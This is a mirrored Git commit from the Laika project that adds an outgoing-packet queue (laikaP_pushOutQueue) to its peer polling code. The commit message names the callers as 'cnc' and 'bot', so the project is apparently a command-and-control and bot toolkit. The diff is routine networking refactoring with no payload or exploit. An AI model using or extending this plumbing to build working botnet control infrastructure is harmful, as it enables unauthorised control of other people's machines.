mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-06 00:10:04 +00:00
Added laikaP_pushOutQueue, minor refactoring
- sLaika_pollList now holds an outQueue, if events are sent to a peer, the pollList will keep track so the caller (cnc, bot, etc) can handle each pollOut for the queued peers.
This commit is contained in:
@@ -61,6 +61,9 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
}
|
||||
|
||||
/* add to pollList's out queue */
|
||||
laikaP_pushOutQueue(peer->pList, peer);
|
||||
|
||||
sz = sock->outCount - peer->outStart;
|
||||
peer->outStart = -1;
|
||||
return sz;
|
||||
@@ -179,9 +182,6 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (peer->sock.outCount > 0 && !laikaS_handlePeerOut(peer))
|
||||
return false;
|
||||
|
||||
return laikaS_isAlive((&peer->sock));
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user